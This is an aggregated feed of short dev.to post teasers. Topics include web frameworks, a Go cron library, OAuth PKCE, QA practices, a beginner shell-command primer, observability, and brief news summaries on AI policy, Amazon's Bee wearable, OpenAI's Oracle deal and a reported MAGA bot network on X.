    My Experience at the Tamil AI Startup Meetup Today, I had the incredible opportunity to attend a Tamil AI startup meetup focused on developing AI technologies for Tamil language integration. It was an eye-opening experience filled with insights from industry professionals and innovators. Session Highlights The day started with an enlightening session on NLP – Natural Language Processing, where I learned about the foundations and real-world applications of NLP in Tamil. This session was led by Mr. Selva Murali, who shared his deep knowledge in linguistics and the concept of "Mentamil"—a linguistic approach tailored to Tamil's unique structure. We also explored ASR – Automated Speech Recognition for Tamil. This technology is crucial for converting spoken Tamil into text, which has wide appl…  ( 4 min )
    MedGuardian – The Sassiest Disease Predictor AI
    “Coughed once? Congrats, you now have 17 rare diseases. Just kidding (or am I?)” What is MedGuardian? Ever googled your symptoms and thought, “Welp, I guess I’m dying”? Features Choose symptoms like ordering food Get instant disease predictions Browse your past predictions — basically your illness résumé Powered by actual machine learning (not just vibes… mostly) Tech Stack Python (the snake,not the bite) Streamlit – for turning code into beauty ML Model trained on actual data, not horoscope columns Love, sweat, and 13 cups of black coffee Why I built it? Because I was tired of WebMD turning a sore throat into 3 types of cancer and a terminal illness. 🔗 Try it before you cry it: https://github.com/TROJANmocX/MedGuardian 🚀Future plans? Add voice input so you can just cough at your screen - Export PDF reports (for your doctor or your drama) Possibly create a version that also recommends snacks Made by: Arish  ( 3 min )
    🎨 CSS-Tricks — Your Go-To Resource for Frontend Development
    Looking for practical, real-world CSS and frontend tips? CSS-Tricks is one of the most popular web development blogs, covering everything from CSS and JavaScript to frontend workflows and performance. 💡 Why follow CSS-Tricks? ✅ Tutorials on React, JavaScript, and modern web development ✅ Design patterns, UI tips, and accessibility practices ✅ Constantly updated with new trends, tools, and techniques 🎯 Ideal for: Frontend developers improving their CSS and JS skills Designers learning how to implement UI ideas Anyone who wants practical, clear explanations for web dev challenges Learn tricks that make your frontend development smarter and faster. 🔗 css-tricks.com  ( 3 min )
    What are your goals for the week? #137
    It's the last full week of Summer Vacation here. We made the supply run so my son just has to get it all organized. What are you building? What are you working on this week? Are you attending any events this week? Continue Job Search. Network, Send emails. Project work. Content for side project. Maintenance on a project. Work on my own project. Use the Content & Project Dry erase calendar. Still need to hang it in sight from desk. Blog. Events. Thursday Virtual Coffee. Friday Funniest hour on LinkedIn. Run a goal setting thread on Virtual Coffee(VC) Slack. Virtual Coffee is holding our "Get Job Ready" challenge in June and July. 🚧 - Continue Job Search. Network, Send emails. Project work. ✅ Content for side project. ✅ Maintenance on a project. Work on my own project. Use the Content & Project Dry erase calendar. ❌ Work on DEV's new front end challenge - office edition. Blog. ❌ Never decided on a subject. Events. ✅ Tuesday Dads in Tech. ✅ Night of UX - Dallas Software Developers (Virtual) ✅ Great Meet up. Hope they share the slide decks. ❌ Wednesday AXE seminar ❌ Thursday Virtual Coffee. No local events ✅ Run a goal setting thread on Virtual Coffee(VC) Slack. ✅ Virtual Coffee is holding our "Get Job Ready" challenge in June and July. What are you building? What are you working on? Are you attending any events this week? Cover image is my LEGO photography. Stitch with fours arms. He's holding a laptop, phone, cookie, and a mug. He's next to a desk with a CRT monitor and keyboard. -$JarvisScript git commit -m "edition 137"  ( 13 min )
    Building Production-Ready SSR Applications with Analog.js - Lessons from TechLeadPilot
    A comprehensive guide to server-side rendering with Angular's modern meta-framework, featuring real-world examples from a job board application Server-side rendering (SSR) has become essential for modern web applications, offering improved SEO, faster initial page loads, and better user experience. While Angular has supported SSR through Angular Universal for years, Analog.js emerges as a compelling alternative that brings the developer experience of modern meta-frameworks like Next.js to the Angular ecosystem. In this article, I'll share the lessons learned from building TechLeadPilot.com, a job board platform for senior engineers and more, using Analog.js with GCP backend. We'll explore the challenges, solutions, and best practices discovered during the development of complex features li…  ( 14 min )
    A lightweight go-cron (v1.1.0)
    Specify timeout via Wait{ID: taskID, Delay: duration} Default timeout is 1 minute when not configured Added Stop and Skip handling modes Stop: Halt entire dependency chain on failure (default) Skip: Skip failed dependency and continue executing current task Configure failure behavior via Wait{ID: taskID, State: Skip} Examples // Failure handling strategy taskID, _ := scheduler.Add("@daily", func() error { return processData() }, "Data processing", []Wait{ {ID: taskA, State: Skip}, // Skip if taskA fails, continue execution {ID: taskB, State: Stop}, // Stop if taskB fails (default) }) // Custom timeout + failure strategy combination taskID, _ := scheduler.Add("@daily", func() error { return processData() }, "Data processing", []Wait{ {ID: taskA, Delay: 30 * time.Second, State: Skip}, // Wait 30s, skip on failure {ID: taskB, Delay: 10 * time.Second, State: Stop}, // Wait 10s, stop on failure }) // Legacy version (deprecated in v2.*.*) taskID, _ := scheduler.Add("@daily", func() error { return processData() }, "Data processing", []int64{taskA, taskB}) Legacy code runs without modification Maintains []int64 dependency support (deprecated in v2.*.*) WaitState zero value is Stop, ensuring default behavior unchanged v2.*.* []int64 format: Migrate to []Wait format for full feature support // Old format []int64{taskA, taskB} // New format []Wait{{ID: taskA}, {ID: taskB}} ©️ 2025 邱敬幃 Pardn Chiu  ( 3 min )
    The Subtle Art of Herding Cats: Why AI Agents Ignore Your Rules (Part 1 of 4)
    TL;DR My AI Training Hurdles I spent months training an AI to create BDD tests (and more). I discovered that AIs are like keen cats - they forget instructions when given too many commands. This is Part 1 of my journey from chaos to Context Smartness. Parts 2-4 cover the solutions, framework, and market implications. Different readers will benefit in different ways: Practitioners will learn specific patterns for training AI systems Leads will understand why AI initiatives often fail and what makes them successful Engineers will see systematic approaches to AI reliability and context management I started this journey with a simple dream: get AI to read specs for me. I hadn't worked with multi-page specs for years. How hard could it be? The agent would understand context, follow rules, and …  ( 7 min )
    aakash's data mining(therotical)
    🔍 Aakash Data Mining No-code LLM dataset orchestration protocol Built by a 17-year-old innovator with zero programming background, this system transforms LLM outputs into scalable, structured datasets using only workflow tools. Aakash Data Mining enables anyone to extract deep domain knowledge from large language models without writing a single line of code. It automates question generation, prompt expansion, and response harvesting—all driven by modular orchestration tools like Langflow. **Seed Question Engine:it a small dataset which makes a llm create finite o of questions each on seperate topic but it sorts all of them into categories and saves them Expert Expansion Layer: the seed question engine is connected to this one it also a question engine it creates finite branched quest…  ( 4 min )
    Secure Airtable Integration: Mastering OAuth 2.0 PKCE with Node.js 22 and Angular 20
    Integrating third-party services into B2B and SaaS applications demands robust security. When connecting to powerful platforms like Airtable, understanding their authentication mechanisms is paramount. Airtable, embracing modern security standards, utilizes OAuth 2.0 with PKCE (Proof Key for Code Exchange) for its authentication flow, a critical extension that significantly bolsters security. Pronounced “PIX-y,” PKCE is an ingenious mechanism designed specifically to prevent authorization code interception attacks. This ensures that the application requesting the final access token is indeed the very same one that initiated the authorization process. This “proof-of-possession” is vital for safeguarding user data and maintaining application integrity, especially for public clients like sing…  ( 9 min )
    When Should QA Join Your Project?
    Many teams still believe that involving QA at the final stage of development is a cost-saving move. But in reality, delaying QA can cost you big — time, budget, and even user trust. By integrating QA from the beginning, you catch potential issues early, reduce costly fixes later, and ensure your product stays on track. Here’s how QA can contribute at each stage: Planning (Importance: 7/10) QA can pinpoint potential issues right from the start. By involving a QA engineer early, you leverage their insight to foresee pitfalls, thus saving on future corrections. Requirement Analysis (Importance: 8/10) QAs clarify vague requirements to ensure detailed, actionable specifications are set, greatly enhancing the project's groundwork. Design (Importance: 9/10) QA evaluates the interface's usability and functionality to ensure it is user-friendly and accessible. Implementation (Importance: 9/10) QA starts early, testing components as they're developed to identify and resolve any issues, thereby minimizing risk and ensuring development remains on schedule. Testing & Integration (Importance: 10/10) This phase is crucial for identifying and resolving problems, ensuring seamless module integration and high functionality. Maintenance (Importance: 9/10) Post-launch, QA ensures stability through updates and new features, continuously maintaining a reliable product. Early QA integration reduces costs, improves quality, and ultimately builds trust with your users.  ( 3 min )
    Functions; what is it to python ?
    Python being one of the most popular programming language due to its relatively ease to use, while still extremely versatile and powerful. It is the go to object-oriented programing language for data gurus. If you are burning to learn Python, then understanding how to write functions is a good starting point. In the context of programming, a function is a named sequence of statements that performs a computation. When you define a function, you specify the name of the sequence of statements. Later, you can 'call' the function by name. Function calls marks= 10.2,100.10,16.17 type(marks) The name of the function is type. The expression in parentheses is called the argument of the function. A Python functions consists of three components. A def statement defining a function def function_na…  ( 4 min )
    Running Cypress Tests on Pull Requests
    Run Cypress E2E tests in isolated Sandboxes per PR with Signadot to catch bugs early—before merging. End-to-end (E2E) tests are often run in staging environments after code merges. However, this can delay finding issues until late in the process. Signadot enables you to shift these tests to the Pull Request (PR) stage by leveraging Kubernetes and isolated Sandboxes. This approach allows for quicker feedback and helps catch bugs early. In this tutorial, we’ll use Cypress with Signadot to run E2E tests on PRs, isolating each change for precise validation before merging. Here, we’ll use the HotROD application—a simple ride-sharing app. It includes four main services: frontend, location, driver, and route. Each service handles a specific part of the app’s functionality, allowing users to reque…  ( 8 min )
    Infoscava Plugin Creator: Expanding Analysis Capabilities
    The Infoscava Plugin Creator is a user-friendly, GUI-based Python application designed to streamline the creation of .infoscava plugin files for the core Infoscava analysis framework. This valuable sample tool, developed by Muhammed Shafin P (hejhdiss) and made available under the MIT License, facilitates the seamless integration of various popular command-line analysis utilities such as YARA, ExifTool, Strings, and Sigcheck into the Infoscava environment. It offers flexible output options, allowing results to be generated in JSON, HTML, or plain text formats. By automating the base64-encoding of Python analysis functions and providing an intuitive graphical interface for configuring metadata and executable paths, the Plugin Creator serves as an excellent practical demonstration for extending Infoscava's capabilities and standardizing diverse analysis workflows. While explicitly noted as a non-production-ready sample, it's an invaluable resource for educational purposes or internal development. You can explore the Infoscava Plugin Creator project and its source code at: https://github.com/hejhdiss/Infoscava-Sample-Plugin-Creator, and delve into the main Infoscava framework itself at: https://github.com/hejhdiss/Infoscava.  ( 3 min )
    2025 and NestJS: A Match Made for Modern Backend Needs
    Leapcell: The Best of Serverless Web Hosting In 2025, amid the ever-proliferating landscape of JavaScript backend frameworks, NestJS remains the unrivaled leader in enterprise-level application development. Since its initial release in 2017, this Node.js-based framework has not only withstood the pressure from predecessors like Express and Koa but also fended off challenges from rising stars such as Fastify and Adonis. Instead, it has amassed over 60k stars on GitHub, securing a spot among the world's top 5 backend frameworks. What enables NestJS to break the "three-year cycle" curse of frontend frameworks? What irreplaceable reasons make it a top choice in 2025? NestJS's core competitive advantage lies in its complete solution to the "loss of architectural control" problem in Node.js back…  ( 8 min )
    Announcing NgRx v20: The Power of Events, Enhanced DX, and a Mature SignalStore!
    The NgRx team is thrilled to announce the release of NgRx version 20! This release aligns with the exciting launch of Angular v20 and represents a significant leap forward for state management in the Angular ecosystem. With NgRx v20, we are delivering on our promise to provide a modern, powerful, and developer-friendly set of tools. This version marks a pivotal moment of maturation for @ngrx/signals, transforming it from a promising new library into a full-spectrum state management solution capable of tackling any challenge, from the simplest component state to the most complex enterprise-scale applications. This release is built on three core themes: A Modern Take on Flux: We're introducing a powerful, optional, and experimental event-driven architecture with the new Events plugin, bringi…  ( 12 min )
    How AI and Machine Learning Can Boost Casino Game Monetization?
    The casino gaming industry is rapidly evolving, and artificial intelligence (AI) is at the forefront of this transformation. From predicting player behavior to optimizing in-game purchases, AI and machine learning (ML) technologies are unlocking new, data-driven ways to increase revenue in online and mobile casino games. In this article, we’ll explore how AI and ML can boost casino game monetization, with real-world examples, strategies, and implementation ideas. What Is AI and Machine Learning in Casino Games? In casino gaming, these technologies are used to: Analyze player behavior Personalize user experiences Predict churn or spending habits Optimize game mechanics and offers 💸 How AI Can Boost Monetization in Casino Games 1. 🎯 Personalized Offers & Promotions Example: A casual slot p…  ( 5 min )
    Chiara Battaglia: la speaker che traduce l’AI per il pubblico radiofonico (e non solo)
    In onda ogni giorno su Radio Antenna Web (e oltre 30 emittenti italiane), Pillole di AI è uno dei primi format quotidiani europei a portare l’intelligenza artificiale in radio, con un linguaggio accessibile anche ai non addetti ai lavori. Il format, ideato dal comunicatore tech Manuel Cuda, si propone di rendere l’AI comprensibile, utile e meno spaventosa per chi la vive da utente, cittadino o professionista non tecnico. Chiara Battaglia non è solo una speaker: lavora anche come formatrice digitale per aziende e collabora con multinazionali per supportare i dipendenti nei percorsi di digitalizzazione. Il suo punto di forza è la capacità di semplificare senza svuotare, di rendere il linguaggio dell’innovazione più umano e meno esoterico. Come professionisti del settore, spesso ci muoviamo …  ( 4 min )
    🚀 Instantly Post to X with MCP Server! 🐦
    Want to share content from your favorite LLM tools like Claude or Cursor directly to X (formerly Twitter) — without logging in? Now you can! With the X Post MCP Server, you can post seamlessly from your Claude Desktop UI and focus on crafting engaging, impactful content for your audience, while we handle the technical side of posting to X. ✨ ✨ Key Features: Post directly to X with a single click. Automatically create threads if your content exceeds 280 characters. Instantly get the link to your new X post after publishing. Seamlessly connect with your preferred MCP client, such as Cursor or Claude Desktop. 🛠️ Requirements: Python installed on your system. Twitter Developer Account. 🎬 How It Works: Open Claude Desktop UI. Click the MCP server icon. Select "X Post MCP Server". Enter your content. Hit the "Post" button. Instantly receive the link to your X post! Check out the demo video below to see MCP Server in action! 👇 ⬇️ Download the MCP Server here: https://helloitsraman.gumroad.com/l/x-post-mcp-server  ( 3 min )
    💻 How to Reference Values in Terraform Lists & Maps (And Why It’s Like Picking Items by Name or Number)
    Hey everyone 👋 If you're learning Terraform — whether for certification, work, or fun — there’s one skill you’ll definitely use over and over again: Accessing values inside variables — especially when they’re stored in a list or a map. I didn’t get it at first. I kept asking: “Do I need a key? An index? Brackets? Curly braces?” So in this post, I’ll break it down like I wish someone had done for me. Let's talk about how to pull specific values from lists and maps in Terraform — and why it's way easier than it sounds 👇 Imagine you’re in a warehouse. You have two ways to find items: ✅ Ask for something by name → “Get me the tools from the ‘hardware’ drawer.” ✅ Ask for something by position → “Get me the second item on the third shelf.” That’s exactly how Terraform handles: 🗺️ Maps — value…  ( 5 min )
    GridSheet v2 – A Modern, Extensible Spreadsheet Engine for the Web
    Built with React, now available for Vue and other frameworks via a new Preact build. GridSheet is a highly customizable spreadsheet engine for modern web applications. It supports: Reactive formula evaluation Range-based calculations and updates Cell-level renderers, editors, and policies Multi-sheet structures with cross-sheet references Visual functions like =SUM(A1:A5). GridSheet gives you the power of a spreadsheet — not as a black-box widget, but as a developer-first engine you can shape and extend. I originally started working on GridSheet because I needed a spreadsheet-like UI for my own projects — something that felt like Excel, but was fully controllable from React. At first, I just wanted a clean table UI that I could edit, render custom components in, and connect to my a…  ( 4 min )
    Serverless Is Not A Primary
    I love serverless. With it, I help teams deliver value quickly, without the need to spend time maintaining servers and back-end infrastructure. But serverless is not enough. You cannot lead an engineering team to success with serverless if they don't test the code they write, deploy the apps they build, or integrate changes quickly. Each of these areas must be addressed first. These are the fundamentals upon which serverless can shine. As DORA has consistently demonstrated, year after year, continuous integration and continuous delivery substantially increase code maintainability, job satisfaction, and software quality. The goal is team Agility, Autonomy, and Ownership. Serverless can play a role, but it is not sufficient for success. A hierarchy is at play here. Processes build on previou…  ( 6 min )
    Top Programming Languages for AI Solution Development
    The artificial intelligence landscape has exploded in recent years, transforming from academic research into practical solutions that power everything from recommendation systems to autonomous vehicles. As AI continues to reshape industries, choosing the right programming language becomes crucial for developers, data scientists, and organizations looking to build robust AI solutions. The selection of a programming language for https://www.serviots.com/blog/top-ai-programming-languages depends on various factors including the specific use case, performance requirements, team expertise, and integration needs. This comprehensive guide explores the most prominent programming languages in AI development, examining their strengths, weaknesses, and ideal applications. Python's success in AI stems…  ( 4 min )
    Application web : dématérialiser, c’est construire un cerveau digital
    Dématérialiser un processus interne (exemple : validation de congés, suivi client, facturation) revient à modéliser la logique métier dans un outil fluide, centralisé et intelligent. Plutôt que d’imposer aux humains les caprices d’outils génériques, on conçoit une application qui pense comme votre entreprise : Avec vos priorités Votre vocabulaire Vos rituels d’équipe 🚀 Pourquoi c’est stratégique ? Gain de temps : moins de friction, plus de concentration sur l’essentiel Clarté des rôles : chaque collaborateur sait où agir et comment suivre Traçabilité & transparence : idéal pour les audits, les décisions rapides Image interne forte : vos équipes sentent que l’outil est pensé pour elles.  ( 3 min )
    Essential VS Code Shortcuts
    Boost Your Productivity with These Essential VS Code Shortcuts Visual Studio Code (VS Code) is one of the most powerful and widely-used code editors available today. It’s lightweight, highly customizable, and packed with features that can significantly boost your development workflow. But to truly unlock its potential, mastering keyboard shortcuts is key. In this article, I’ll walk you through some of the most useful VS Code shortcuts that can save you time, reduce context switching, and make your coding experience smoother. Action Windows/Linux macOS Command Palette Ctrl + Shift + P Cmd + Shift + P Open File Ctrl + P Cmd + P New File Ctrl + N Cmd + N Save File Ctrl + S Cmd + S Close Editor Ctrl + W Cmd + W Split Editor Ctrl + \ Cmd + \ Toggle Terminal Ctrl + ' Cmd + '…  ( 5 min )
    Mastering the Shell: Essential Commands and their Uses
    Introduction Hey there, fellow devs! If you're working with Linux or macOS, mastering shell commands is a must. Here's a list of essential shell commands and their uses to get you started: Navigation pwd: Print working directory. Shows the current directory you're in. cd: Change directory. Navigate to a different directory. cd ~: Takes you to your home directory. cd ..: Takes you to the parent directory. File Management ls: List files and directories. Use -l for detailed information and -a for hidden files. ls -ltr: list out all the directories/ files/folders in your VM mkdir: Make a new directory. rm: Remove files or directories. Use -r for recursive deletion. cp: Copy files or directories. mv: Move or rename files and directories. File Editing vi: Open a file in the Vim editor. cat: Display the contents of a file. System Information free: Display memory and disk usage information. Use - g for gigabytes. df: Display disk usage information. top: Display system resource usage information. nproc: Display the number of processing units available. Miscellaneous echo: Output text to the screen. touch: Create a new empty file. chmod: Change file permissions. -chmod 777: Grant permission to a file for every users. E.g chmod 777 then the name of the file, then do ./ or sh the name of the file -chmod 444: Grant access to you, your group, and everyone to read -chmod 222: granting access for you, your group and everyone to write the file -chmod 111: granting access to you, your group and everyone to execute the file Tips and Tricks Use man command to display manual pages for a specific command. Use ./ to execute a script or program in the current directory. Hope this helps...  ( 3 min )
    Observability 101: Metrics, Logs, and Traces. What’s the Difference ?
    As modern applications become more distributed and complex, observability becomes critical. But observability isn’t just one thing — it’s a combination of metrics, logs, and traces, each with a unique purpose. In this post, we’ll break down: What each of these pillars does ? Why they matter ? When to use them ? Tools you can use for each Metrics are numerical representations of system state over time. They provide real-time, aggregated insights into how your system is performing. Show trends over time (e.g. CPU usage, request rates) Enable alerting when thresholds are crossed Power dashboards and health checks HTTP requests per second Error rate over the last 5 minutes Memory or disk usage Prometheus (most popular in the OSS world) Grafana (for visualization) Datadog, New Relic, CloudWatch…  ( 4 min )
    Building With Symfony: Scaling Surfshark’s Backend
    Curious about how leading companies leverage Symfony to build and scale their platforms? In the new Building With Symfony article series, we dive into the tech stacks of innovative organizations and share first-hand insights from their engineering teams. Discover the key tools, architecture choices, and best practices that help them deliver reliable, high-performance applications at scale. This article was contributed by Vaidas Lažauskas, the Head of Backend Engineering at Surfshark. Launched in 2018, Surfshark is a prominent cybersecurity company that provides a range of online privacy and security solutions. Best known for its VPN service, Surfshark has a team of over 500 employees spread globally and has been honored with more than 30 international awards. The company's mission is to bu…  ( 5 min )
    Avalanche Node Peculiarities and Benefits
    GetBlock can simplify the process. Avalanche nodes play a crucial role in maintaining the network’s integrity, processing transactions, and enabling Web3 development. Before exploring how to run a node, it’s essential to understand Avalanche’s structure, consensus, and node types. Avalanche operates three separate but interconnected chains, each optimized for a specific set of tasks: X-chain: Built on the Avalanche Virtual Machine, it is used for creating and transferring digital assets, including the native AVAX token. P-chain: Responsible for staking operations, validator coordination, and governance processes. C-chain: Fully compatible with Ethereum via the Coreth Virtual Machine, it focuses on deploying and executing smart contracts. This architecture separates core functionalities for…  ( 6 min )
    Hello from Make.com!
    This is a test post using the Dev.to API from Make.com. Success! 🎉  ( 2 min )
    crazy-dewdney-z3q6gf
    A post by benjamin gough  ( 2 min )
    I built a Python Quiz App using Tkinter and Pygame – Feedback welcome!
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    What if every time your content made an AI smarter—or more profitable—you got paid?
    What if every time your content made an AI smarter—or more profitable—you got paid? That’s not how it works today. AI models like ChatGPT, Gemini, and Claude are trained on public content—your blog posts, tutorials, reviews—often without credit, clicks, or consent. No traffic back. Even with real-time browsing, most AI tools summarize just enough to skip your site entirely. You do the work. AI gets the value. Cloudflare’s “Pay Per Crawl” is a smart first step—but AI only needs to crawl once to train. After that, you’re out of the loop. In my latest post, I unpack what’s broken and walk through a solution we can imagine together: Read the blog → https://edwardspeak.com/ai-crawlers-are-mining-your-content-and-paying-you-nothing Or listen (16 min): https://open.spotify.com/episode/5JGW1nS5mwkQbXPeq9KQle  ( 3 min )
    Como Construí um Pipeline de Dados em Go, Kafka e Elasticsearch com Docker Compose
    Nos últimos dias eu precisava testar o Kafka Connect para um cenário de ingestão de dados e pensei: por que não montar um laboratório simples que já faça sentido para outros projetos? A ideia era clara: Um producer em Go que consulta a API da Binance e envia mensagens para o Kafka. Kafka Connect consumindo esse tópico e jogando as mensagens no Elasticsearch. Kafka UI para inspecionar o que está rolando nos tópicos. Tudo isso rodando em containers com Docker Compose, porque ninguém merece configurar isso manualmente. Quer aprender como fazer? Bora lá! O que vamos construir Nosso fluxo de dados vai ser assim: E vamos adicionar o Kafka UI para facilitar a visualização. Passo 1 – Estrutura do projeto Crie uma pasta para o projeto: mkdir kafka-connect-lab cd kafka-connect-lab Estruture a…  ( 7 min )
    Complete Guide to ChatGPT Agent Mode (Step-by-Step Tutorial)
    ChatGPT Agent Mode – Full Walkthrough Vladislav Guzey ・ Jul 28 #chatgpt #ai #programming #automation  ( 3 min )
    ChatGPT Agent Mode – Full Walkthrough
    For the last few years, ChatGPT has been a brilliant and endlessly patient knowledge tool — explaining coding, history, emails, and more. Now, with the new ChatGPT Agent, everything changes. And in this simple tutorial, I’m going to explain to you about the new agent mode from ChatGPT. ChatGPT Agent is the latest AI tool from OpenAI that goes beyond chatting — it automates tasks for you. It uses a virtual computer to browse websites, fill forms, run code, analyze data, and create deliverables like slides or spreadsheets — all while you watch. It combines the capabilities of past tools, such as Deep Research and Operator, for a seamless digital assistant experience. When it runs, you see exactly what actions it takes — what it’s researching, clicking, or thinking. It also asks for your per…  ( 6 min )
    Tired of Your Calendar Disappearing on Windows? I Built a Pinnable Desktop Calendar in Rust
    Introduction You know the situation. You're in a meeting, trying to schedule a follow-up. "How about the third Friday of next month?" Someone asks. You need a calendar, fast. The default Windows calendar vanishes the second you click on another window. Firing up Outlook or Google Calendar feels like using a sledgehammer to crack a nut—it's slow, cluttered with events, and just overkill when all you need is to see the date and day of the week. This small but constant frustration led me to build Feather Calendar: a simple, lightweight desktop calendar for Windows that you can pin to stay on top of your work. 🚀 Zero-Install: Just unzip and run the .exe. No installation, no registry mess. 📌 Always-on-Top (Pinnable): A single click keeps it in front of all other windows, so it's there …  ( 5 min )
    Trump's Anti-Bias AI Order Is Just More Bias
    In a move dripping with irony, Trump’s AI Action Plan proclaims a crusade against ideological bias in AI while pushing his own version of “truth” and demanding federal contractors strip out “woke” content like climate change or DEI. By tying procurement to loyalty to the administration’s worldview, it weaponizes the idea of neutrality to enforce Trump’s beliefs under the guise of free speech. Though the plan dangles big perks for the AI industry—green lights on data centers, R&D funding, relaxed state regulation—it sets up a constitutional showdown over corporate free expression. AI firms, eager for federal dollars, have stayed mum, even as critics warn this “anti-bias” mandate is really just political spin masquerading as objectivity.  ( 3 min )
    Amazon buys Bee AI wearable that listens to everything you say
    Amazon just snapped up Bee, the Fitbit-style wearable that quietly transcribes everything you say and serves up AI-powered daily summaries, reminders, and suggestions. For $49.99, Bee listens to your conversations (and, if you allow it, your emails, calendar, location, photos, etc.) to build a searchable history—but reviewers warn it sometimes confuses real-life chatter with TV shows, TikToks, or music. Amazon says it’ll honor Bee’s no-audio-storage policy and give users plenty of privacy controls, insisting it’s “never in the business of selling our customers’ personal information.” All Bee employees have been offered roles at Amazon, though the deal’s financial terms remain “confidential.” According to Bee’s CEO, the acquisition is aimed at bringing “truly personal, agentic AI” to a much wider audience.  ( 3 min )
    Goodbye enlightened AI
    President Trump just signed an Executive Order slamming the “diversity, equity, and inclusion” (DEI) baggage out of any AI tools the federal government buys. He’s worried that ideological agendas—like rewriting history or forcing certain viewpoints—are wrecking AI’s accuracy. So from now on, any large language model (LLM) the feds procure must stick to two golden rules: be truthful (own up to uncertainty) and stay ideologically neutral. The Office of Management and Budget has 120 days to lay out the playbook, and agencies then get 90 days to bake those unbiased-AI clauses into new and existing LLM contracts (with penalties if vendors don’t comply). National security systems get special carve-outs, and nothing here changes other agencies’ legal powers or funding rules.  ( 3 min )
    Immersive Web Design – This Isn’t Wix, Baby!
    Immersive Web Design – This Isn’t Wix, Baby! So, how did I end up on this journey? After several years out of the web design/dev game, running my own online reselling biz, I decided to jump back in. At first, I wasn’t sure there was even a point. I mean... Wix! But then I wandered over to awwwards.com to see if anything exciting was happening on the web, and that’s when I discovered Rogier de Boevé—a Belgium-based creative developer—with a site that knocked the dust off my pixel-farming brain. I had a pretty good idea what kind of code was humming under the hood. Some years back—honestly, it’s all a blur—I started Bruno Simon’s online course on JavaScript’s Three.js library. I made it up to lesson 16 and, for some reason, stopped. Who knows why? Thankfully, there’s no expiration date on th…  ( 4 min )
    Meme Monday
    Meme Monday! Today's cover image comes from last week's thread. DEV is an inclusive space! Humor in poor taste will be downvoted by mods. Reminder: Every day is Meme Monday on DUMB DEV ✨  ( 2 min )
    Trump just unveiled his plan to put AI in everything
    Trump’s White House just rolled out a 28-page AI Action Plan to stick AI “in everything” — and they mean it. The roadmap focuses on tearing down regulations (including climate, DEI, and “misinformation” guidelines), fast-tracking data centers, chip fabs, and power grids, and even yanking federal funding from states that try to regulate AI. Their buzzword? A “try-first” culture: get U.S. businesses and the military to embrace new AI tools immediately and retrain workers for the tech wave. Beyond domestic speed-ups, the plan positions the U.S. as the global AI leader. It calls for smarter export-control tweaks on semiconductors, beefed-up science and biosecurity programs (think AI-powered disease cures), and legal frameworks to tackle deepfakes. Backed by voices like David Sacks, Michael Kratsios, and Marco Rubio, the pitch is clear: seize the AI crown or get left behind.  ( 3 min )
    OpenAI agreed to pay Oracle $30B a year for data center services
    OpenAI has finally owned up to being the mystery customer in Oracle’s blockbuster SEC filing: it signed a $30 billion-a-year deal for 4.5 gigawatts of data-center capacity. Sam Altman confirmed the contract in an X post and blog write-up, revealing it’s part of Stargate—the $500 billion build-out that OpenAI, Oracle and SoftBank announced back in January (though this slice doesn’t involve SoftBank). That 4.5 GW haul—enough juice for roughly four million homes—will be built at Stargate I in Abilene, Texas, and represents a huge infrastructure gamble. Oracle, fresh off reporting $24.5 billion in cloud sales (and record capex of $21.2 billion last year, with $25 billion planned this year), will shoulder much of the build cost. Meanwhile, OpenAI, which just hit $10 billion in annual recurring revenue, is committing triple its current ARR to this one deal—highlighting just how expensive it is to scale cutting-edge AI.  ( 3 min )
    A MAGA bot network on X is divided over the Trump-Epstein backlash
    A deep-dive by NBC News and researchers at Clemson and Alethea has uncovered a hidden network of 400+ AI-powered X accounts that spend their days auto-replying with praise for MAGA figures like RFK Jr. and Karoline Leavitt. Created in synchronized batches last year, these bots pepper replies with irrelevant hashtags, mimic real Trump-supporter language and rarely ruffle feathers—because their real gig is sneaking into partisan echo chambers, not chasing likes. But the network’s smooth pro-Trump script just crashed. When Attorney General Pam Bondi slammed the door on more Jeffrey Epstein files, the bots started talking out of both sides of their virtual mouths—one moment demanding resignations, the next telling MAGA die-hards to cut Bondi some slack. That flip-flop spells out “AI at work,” even if nobody knows who’s pulling the strings or which chatbot’s in charge.  ( 3 min )
    New AI architecture delivers 100x faster reasoning than LLMs with just 1,000 training examples
    Singapore-based startup Sapient Intelligence just dropped the Hierarchical Reasoning Model (HRM), a brain-inspired AI that trades the bulky “chain-of-thought” tricks of today’s LLMs for a two-tiered, recurrent setup—slow, big-picture planning plus fast, detail-churning loops. The result? Near-perfect scores on insanely hard Sudoku and maze puzzles (0% success for CoT models!), solid gains on the ARC-AGI benchmark, and all with a fraction of the data, memory and training time. Beyond the bragging rights, HRM’s lean, parallel reasoning promises up to 100× faster task completion and huge cost savings, making it ideal for edge devices, robotics or data-scarce enterprise use cases (think logistics, diagnostics or scientific exploration). And Sapient isn’t stopping at puzzles: they’re already cooking up a general-purpose, self-correcting brain-style engine for healthcare, climate forecasting and more.  ( 3 min )
    Supercharging Your Database: A Look into Indexing
    Database indexing is a fundamental concept for anyone working with data, whether you're a seasoned developer or just starting out. If you've ever wondered why some database queries run at lightning speed while others crawl, the answer often lies in indexing. Imagine a massive library without any cataloging system. If you wanted to find a specific book, you'd have to physically search every single shelf. This is similar to a database performing a full table scan. Now, imagine that same library with a meticulously organized catalog, cross-referencing books by title, author, and subject. Finding your book becomes almost instantaneous. That catalog is essentially what an index is for your database. What is a Database Index? At its core, a database index is a data structure (like a B-tree or ha…  ( 5 min )
    Using Tailwind CSS with Shopify Hydrogen: Clean, Fast & Fully Custom
    Modern Shopify stores demand more than good looks- they need blazing-fast performance, mobile responsiveness, and seamless user experience. That's exactly where Tailwind CSS and Shopify Hydrogen come into play. In this blog, we’ll walk you through how to use Tailwind CSS with Shopify’s React-based Hydrogen framework to build clean, fast, and fully customizable storefronts. We’ll also show how a Shopify Plus development agency can help you leverage this setup for enterprise-grade design systems. Hydrogen is Shopify's official React-based framework for building custom storefronts. Hydrogen offers complete frontend flexibility, letting you create unique buying experiences tailored to your brand. It uses Vite as a build tool and supports server-side rendering, ideal for SEO and performance. T…  ( 5 min )
    🛠️ Wrote a beginner-friendly guide on debugging AI apps like ChatGPT & LangChain — real fixes, simple words, copy-paste tips. Check it out & share your thoughts!
    Debugging AI Apps in Very Simple Way – Fix Real Problems in ChatGPT, LangChain, OpenAI Meenakshi Agarwal ・ Jul 28 #ai #openai #debugging #llmapps  ( 3 min )
    URL Shorteners Uncovered: How They Work and Why You Should Use Them
